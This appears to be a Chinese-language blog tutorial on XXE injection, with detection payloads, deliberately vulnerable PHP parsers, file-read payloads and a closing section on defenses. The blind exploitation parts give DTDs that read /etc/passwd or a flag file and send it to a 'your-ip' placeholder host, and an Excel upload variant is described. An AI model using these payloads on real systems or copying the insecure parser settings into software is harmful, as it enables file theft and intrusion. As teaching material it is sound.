当前位置: 首页 > article >正文

XML外部实体注入--漏洞利用

一.基本概念

1.XXE漏洞原理

  • 介绍:XXE 漏洞在应用程序解析 XML 输入时触发,若未限制外部实体加载,攻击者便能掌控外部加载文件,进而引发漏洞。其常见于可上传 xml 文件之处,如上传点未对 xml 文件过滤,恶意 xml 文件就可上传。

2.漏洞危害

  • 文件读取:能读取服务器任意文件,如利用 <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>​ 可获取敏感信息。
  • 命令执行:在特定条件下,可执行系统命令,危害系统安全。
  • 内网探测与攻击:探测内网端口、攻击内网网站,如通过构造恶意请求探测内网服务。
  • 拒绝服务(DoS)攻击:发起大量请求,使服务器资源耗尽,引发服务中断。

3.漏洞探测

  1. 利用代码检测XML是否会被成功解析,如果页面输出"test",则说明可以被解析。

    • <?xml version="1.0" encoding="utf8"?>
      <!DOCTYPE foo [
      <!ELEMENT foo ANY >
      <!ENTITY xxe "test" >]>
      <user>
      	<username>
      		&xxe;
      	</username>
      	<password>
      		123456
      	</password>
      </user>
      
  2. 检测服务器是否支持DTD引用外部实体,如果支持那么就很有可能存在xxe漏洞。

    • 介绍:可以通过dnslog进行判断,看是否收到目标服务器的请求。
    • <?xml version="1.0" encoding="ISO-8859-1"?>
      <!DOCTYPE foo [
      <!ELEMENT foo ANY >
      <!ENTITY xxe SYSTEM "http://204uli.dnslog.cn" >]>
      <user>
      	<username>
      		&xxe;
      	</username>
      	<password>
      		123456
      	</password>
      </user>
      

二.漏洞案例

1.有回显案例

  • 漏洞源码:

    <?php
    header('Content-type: text/html; charset=utf-8');
    libxml_disable_entity_loader(false);
    if(isset($_POST['xml'])){
    	$xml = $_POST['xml'];
    	$dom = new DOMDocument();
    	$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
    	$data = simplexml_import_dom($dom);
    	echo "result: ".$data; // 有回显
    }
    ?>
    <html>
    <head>
    	<title>XXE案例</title>
    </head>
    <body>
    	<h1>XXE案例</h1>
    	<form action="" method="post">
    		<input type="text" name="xml" style="width:300px; height: 150px;">
    		<input type="submit" value="submit">
    	</form>
    </body>
    </html>
    
  • 测试代码:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY xxe SYSTEM "test">
    ]>
    <root>&xxe;</root>
    
    • PS:如果存在xxe漏洞,则测试文本会直接显示在页面上。
  • 漏洞利用代码:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <root>&xxe;</root>
    
    • PS:如果存在xxe漏洞,则passwd文件内容会直接显示在页面上。

2.无回显案例

  • 漏洞源码

    <?php
    header('Content-type: text/html; charset=utf-8');
    libxml_disable_entity_loader(false);
    if(isset($_POST['xml'])){
    	$xml = $_POST['xml'];
    	$dom = new DOMDocument();
    	$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
    	$data = simplexml_import_dom($dom);
    	// echo "result: ".$data; // 有回显
    }
    ?>
    <html>
    <head>
    	<title>XXE案例无回显</title>
    </head>
    <body>
    	<h1>XXE案例无回显</h1>
    	<form action="" method="post">
    	<input type="text" name="xml" style="width:300px; height: 150px;">
    	<input type="submit" value="submit">
    	</form>
    </body>
    </html>
    
  • 测试代码

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY xxe SYSTEM "http://c28ruv.dnslog.cn">
    ]>
    <root>&xxe;</root>
    
    • PS:结合 DNSLog 查看请求,判断漏洞存在。
  • 漏洞利用代码

    • XML文档

      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE root [
      <!ENTITY % remote SYSTEM "http://your-ip/evil.dtd">
      %remote;
      ]>
      <root></root>
      
      • 代码解释

        • ​<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://your-ip/evil.dtd"> %remote;]>​:

          • 这里声明了一个参数实体 %remote​,它的内容将从外部的 http://your-ip/evil.dtd​ 获取。
          • ​%remote;​ 是对这个参数实体的引用,会将 http://your-ip/evil.dtd​ 中的内容插入到这里。
    • DTD文档

      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM "http://your-ip/?data=%file;">">
      %eval;
      
      • 代码解释:

        • ​<!ENTITY % file SYSTEM "file:///etc/passwd">​:

          • 定义了一个新的参数实体 %file​,它会尝试读取 /etc/passwd​ 文件的内容。
        • ​<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://your-ip/?data=%file;'>">​:

          • 这里定义了另一个参数实体 %eval​,它会构造一个新的实体 %exfil​。
          • ​&#x25;​ 是 %​ 的 XML 编码,用于转义。
          • ​http://your-ip/?data=%file;​ 会将读取到的文件内容作为参数发送到 http://your-ip​。
        • ​%eval;​:

          • 这是对 %eval​ 实体的引用,触发对 %exfil​ 的构造和后续操作。

三.漏洞利用

1.读取敏感文件

  • <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <user><username>&xxe;</username><password>1234</password></user>
    

      • PS:以上任意文件读取能够成功,除了DTD可以引用外部实体外,还取决于有输出信息,即有回显。

2.读取含有特殊字符的文件

  • 介绍:当我们需要读取的文件中包含许多特殊符号的时候,比如大于号、小于号等,尤其是小于号,会被XML解析器误认为是另一个标签的开始,这样就会造成解析的错误。
A.有回显
  • XML文档

    <?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
    <!DOCTYPE xxx [
    <!ENTITY dtd SYSTEM "http://your-ip/1.dtd"> 
    &dtd;
    ]>
    <user><username>&all;</username><password>1234</password></user>
    
    • 代码解释

      • ​<!DOCTYPE xxx [<!ENTITY dtd SYSTEM "http://your-ip/1.dtd"> &dtd;]>​:

        • ​<!DOCTYPE xxx [... ]>​:这是文档类型定义部分,这里定义了一个名为 xxx​ 的文档类型。

        • ​<!ENTITY dtd SYSTEM "http://your-ip/1.dtd">​:

          • 声明了一个名为 dtd​ 的外部实体,使用 SYSTEM​ 关键字表示其内容将从外部资源获取。
          • ​"http://your-ip/1.dtd"​ 是外部实体的 URI,这里将从该 URI 中获取 dtd​ 的内容。
        • ​&dtd;​:这是对 dtd​ 实体的引用,当解析 XML 文档时,会将 &dtd;​ 替换为从 http://your-ip/1.dtd​ 中获取的内容。

  • DTD文档

    <!ENTITY start "<![CDATA[">
    <!ENTITY goodies SYSTEM "file:///opt/file.txt">
    <!ENTITY end "]]>">
    <!ENTITY all "&start;&goodies;&end;">
    
    • 代码解释

      1. ​<!ENTITY start "<![CDATA[">​

        • 这行代码声明了一个名为 start​ 的实体。
        • ​"<![CDATA[">​ 是实体的值,CDATA​ 部分在 XML 中用于包含一段文本,其中的字符不会被解析为 XML 标记,即使它们包含了通常在 XML 中有特殊意义的字符(如 <​、>​、&​ 等)。这里声明 start​ 实体的值为 CDATA​ 部分的开始标记 <![CDATA[​。
      2. ​<!ENTITY goodies SYSTEM "file:///opt/file.txt">​

        • 这行代码声明了一个名为 goodies​ 的实体。
        • ​SYSTEM​ 关键字表示这是一个外部实体,它引用了一个外部资源。
        • ​file:///opt/file.txt​ 是外部资源的位置,这里指定了一个本地文件路径 /opt/file.txt​。在实际应用中,如果允许解析外部实体,XML 解析器会尝试从这个路径读取文件内容,并将其作为 goodies​ 实体的值。
      3. ​<!ENTITY end "]]>">​

        • 这行代码声明了一个名为 end​ 的实体,其值为 CDATA​ 部分的结束标记 ]]>​。
      4. ​<!ENTITY all "&start;&goodies;&end;">​

        • 这行代码声明了一个名为 all​ 的实体。
        • 它的值由之前声明的三个实体组成:&start;​(即 <![CDATA[​)、&goodies;​(即 /opt/file.txt​ 的内容,如果解析器能读取的话)和 &end;​(即 ]]>​)。
        • 当在 XML 文档中使用 &all;​ 时,理论上会被替换为 <![CDATA[​ 加上 /opt/file.txt​ 的内容再加上 ]]>​。
B.无回显
  • XML文档

    <?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
    <!DOCTYPE convert [
    <!ENTITY % remote SYSTEM "http://your-ip/test.dtd">
    %remote;%int;%send;
    ]>
    <user><username>1</username><password>2ad</password></user>
    
    • 代码解释

      • ​<!DOCTYPE convert​:定义文档类型名为 convert​。

      • ​<!ENTITY % remote SYSTEM "http://your-ip/test.dtd">​:声明了一个参数实体 %remote​,SYSTEM​ 表明这是一个外部实体,其内容从 http://your-ip/test.dtd​ 这个远程 DTD 文件获取。

      • ​%remote;​:引用参数实体 %remote​,会将 http://your-ip/test.dtd​ 的内容插入到此处。

      • ​%int;​ 和 %send;​:这两个参数实体通常在 test.dtd​ 文件中定义。%int;​ 一般用于定义内部的参数实体或进一步嵌套实体声明;%send;​ 主要用于将敏感信息外发到攻击者控制的服务器。

        • PS:攻击者服务器需要开启apache服务,才能查看日志。
  • DTD文档

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/flag">
    <!ENTITY % int "<!ENTITY &#x25; send SYSTEM "http://your-ip/?data=%file;">">
    
    1. 第一个实体声明

      • ​<!ENTITY % file​:声明一个参数实体,参数实体只能在 DTD(文档类型定义)内部使用,其名称为 file​。

      • ​SYSTEM​:表明这是一个外部实体,数据来源是外部系统。

      • ​php://filter/read=convert.base64-encode/resource=/opt/flag​:这是一个 PHP 流包装器的使用。

        • ​php://filter​ 是 PHP 提供的一种流过滤器,用于对数据流进行处理。
        • ​read=convert.base64-encode​ 表示对读取的数据进行 Base64 编码。
        • ​resource=/opt/flag​ 指定要读取的文件为 /opt/flag​。整体作用是将 /opt/flag​ 文件的内容进行 Base64 编码后作为 file​ 实体的值。
    2. 第二个实体声明

      • ​<!ENTITY % int​:声明一个参数实体,名称为 int​。

      • 其值是一个字符串,该字符串中又包含一个实体声明:

        • ​<!ENTITY &#x25; send​:&#x25;​ 是 %​ 的 XML 实体编码,所以这里实际是声明一个参数实体 %send​。
        • ​SYSTEM "http://your-ip/?data=%file;"​:表明 %send​ 是一个外部实体,它会向 http://your-ip/​ 发送一个 HTTP 请求,请求的参数 data​ 的值为 %file​ 实体的值,也就是 /opt/flag​ 文件内容的 Base64 编码。

3.Excel文档XXE

  • 介绍:现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。

  • 攻击步骤

    1. 新建一个xlsx文件,并将其后缀名改为 .zip​

    2. 将zip文件解压,在 [Content_Types].xml​ 中插入测试代码,把测试代码放到第二、三行

      <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://dnslog-ip/" >]>
      <name>&GVI;</name>
      
      • PS:先利用dnslog检测是否存在xxe漏洞。
    3. 然后重新将解压后的文件压缩,再修改文件后缀为xlsx进行上传即可。

      • PS:如果存在xxe漏洞,则可以按照无回显的形式,进行漏洞利用。

四.防御方案

1.PHP 防御

  • 使用 libxml_disable_entity_loader(true);​ 禁用外部实体加载。

2.Java 防御

  • DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    .setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
    .setFeature("http://xml.org/sax/features/external-general-entities",false)
    .setFeature("http://xml.org/sax/features/external-parameter-entities",false);
    

3.Python 防御

  • from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    

http://www.kler.cn/a/520301.html

相关文章:

  • python3+TensorFlow 2.x(五)CNN
  • 随笔十七、eth0单网卡绑定双ip的问题
  • C 语言实现计算一年中指定日期是第几天 题】
  • CentOS 7 安装fail2ban hostdeny方式封禁ip —— 筑梦之路
  • StarRocks BE源码编译、CLion高亮跳转方法
  • Java数据结构方面的面试试题以及答案解析
  • 亚博microros小车-原生ubuntu支持系列:13 激光雷达避障
  • 基于OSAL的嵌入式裸机事件驱动框架——软件定时器osal_timer
  • 自由学习记录(32)
  • [VSCode] vscode下载安装及安装中文插件详解(附下载链接)
  • HBase-2.5.10 伪分布式环境搭建【Mac】
  • linux ——waitpid介绍及示例
  • Office2021下载与安装保姆级教程【Office Tool Plus】
  • 蓝桥杯c/c++需要掌握的基础语法总结
  • AWS Wavelength
  • LeetCode:2412. 完成所有交易的初始最少钱数(贪心 java)
  • Spring MVC 中的 DispatcherServlet:工作流程与应用场景解析
  • FreeRTOS实时操作系统学习小结
  • kubernetes 核心技术-Service
  • 【SQL注入】DVWA靶场SQL注入实践
  • 在线可编辑Excel
  • 【超详细】C#事件
  • MyBatis最佳实践:提升数据库交互效率的秘密武器
  • 聊一聊 CSS 样式的导入方式
  • 使用Ollama部署deepseek大模型
  • unity制作动画的技巧相关注意点